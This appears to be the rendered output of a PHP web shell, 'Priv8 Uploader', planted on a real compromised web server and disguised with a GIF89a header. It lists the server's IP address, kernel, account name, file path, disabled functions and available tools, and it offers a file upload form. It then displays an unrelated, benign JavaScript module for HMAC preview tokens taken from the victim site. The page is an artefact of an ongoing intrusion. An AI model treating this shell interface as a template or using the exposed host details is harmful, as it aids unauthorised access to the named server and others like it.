GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.147 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/dist/ |
Upload File : |
import { i as encodeBase64url, n as decodeBase64url } from "./base64-MBPo9ozB.mjs";
//#region src/preview/tokens.ts
/**
* Preview token generation and verification
*
* Tokens are compact, URL-safe, and HMAC-signed.
* Format: base64url(JSON payload).base64url(HMAC signature)
*
* Payload: { cid: contentId, exp: expiryTimestamp, iat: issuedAt }
*/
const DURATION_PATTERN = /^(\d+)([smhdw])$/;
/**
* Parse duration string to seconds
* Supports: "1h", "30m", "1d", "2w", or raw seconds
*/
function parseDuration(duration) {
if (typeof duration === "number") return duration;
const match = duration.match(DURATION_PATTERN);
if (!match) throw new Error(`Invalid duration format: "${duration}". Use "1h", "30m", "1d", "2w", or seconds.`);
const value = parseInt(match[1], 10);
const unit = match[2];
switch (unit) {
case "s": return value;
case "m": return value * 60;
case "h": return value * 60 * 60;
case "d": return value * 60 * 60 * 24;
case "w": return value * 60 * 60 * 24 * 7;
default: throw new Error(`Unknown duration unit: ${unit}`);
}
}
/**
* Create HMAC-SHA256 signature using Web Crypto API
*/
async function createSignature(data, secret) {
const encoder = new TextEncoder();
const key = await crypto.subtle.importKey("raw", encoder.encode(secret), {
name: "HMAC",
hash: "SHA-256"
}, false, ["sign"]);
const signature = await crypto.subtle.sign("HMAC", key, encoder.encode(data));
return new Uint8Array(signature);
}
/**
* Verify HMAC-SHA256 signature
*/
async function verifySignature(data, signature, secret) {
const encoder = new TextEncoder();
const key = await crypto.subtle.importKey("raw", encoder.encode(secret), {
name: "HMAC",
hash: "SHA-256"
}, false, ["verify"]);
const sigBuffer = new ArrayBuffer(signature.byteLength);
new Uint8Array(sigBuffer).set(signature);
return crypto.subtle.verify("HMAC", key, sigBuffer, encoder.encode(data));
}
/**
* Generate a preview token for content
*
* @example
* ```ts
* const token = await generatePreviewToken({
* contentId: "posts:abc123",
* expiresIn: "1h",
* secret: process.env.PREVIEW_SECRET!,
* });
* ```
*/
async function generatePreviewToken(options) {
const { contentId, expiresIn = "1h", secret } = options;
if (!secret) throw new Error("Preview secret is required");
if (!contentId || !contentId.includes(":")) throw new Error("Content ID must be in format \"collection:id\"");
const now = Math.floor(Date.now() / 1e3);
const payload = {
cid: contentId,
exp: now + parseDuration(expiresIn),
iat: now
};
const payloadJson = JSON.stringify(payload);
const encodedPayload = encodeBase64url(new TextEncoder().encode(payloadJson));
return `${encodedPayload}.${encodeBase64url(await createSignature(encodedPayload, secret))}`;
}
/**
* Verify a preview token and return the payload
*
* @example
* ```ts
* // With URL (extracts _preview query param)
* const result = await verifyPreviewToken({
* url: Astro.url,
* secret: import.meta.env.PREVIEW_SECRET,
* });
*
* // With token directly
* const result = await verifyPreviewToken({
* token: someToken,
* secret: import.meta.env.PREVIEW_SECRET,
* });
*
* if (result.valid) {
* console.log(result.payload.cid); // "posts:abc123"
* }
* ```
*/
async function verifyPreviewToken(options) {
const { secret } = options;
if (!secret) throw new Error("Preview secret is required");
const token = "url" in options ? options.url.searchParams.get("_preview") : options.token;
if (!token) return {
valid: false,
error: "none"
};
const parts = token.split(".");
if (parts.length !== 2) return {
valid: false,
error: "malformed"
};
const [encodedPayload, encodedSignature] = parts;
let signature;
try {
signature = decodeBase64url(encodedSignature);
} catch {
return {
valid: false,
error: "malformed"
};
}
if (!await verifySignature(encodedPayload, signature, secret)) return {
valid: false,
error: "invalid"
};
let payload;
try {
const payloadBytes = decodeBase64url(encodedPayload);
const payloadJson = new TextDecoder().decode(payloadBytes);
payload = JSON.parse(payloadJson);
} catch {
return {
valid: false,
error: "malformed"
};
}
if (typeof payload.cid !== "string" || typeof payload.exp !== "number" || typeof payload.iat !== "number") return {
valid: false,
error: "malformed"
};
const now = Math.floor(Date.now() / 1e3);
if (payload.exp < now) return {
valid: false,
error: "expired"
};
return {
valid: true,
payload
};
}
/**
* Parse a content ID into collection and id
*/
function parseContentId(contentId) {
const colonIndex = contentId.indexOf(":");
if (colonIndex === -1) throw new Error("Content ID must be in format \"collection:id\"");
return {
collection: contentId.slice(0, colonIndex),
id: contentId.slice(colonIndex + 1)
};
}
//#endregion
export { parseContentId as n, verifyPreviewToken as r, generatePreviewToken as t };
//# sourceMappingURL=tokens-CyRDPVW2.mjs.map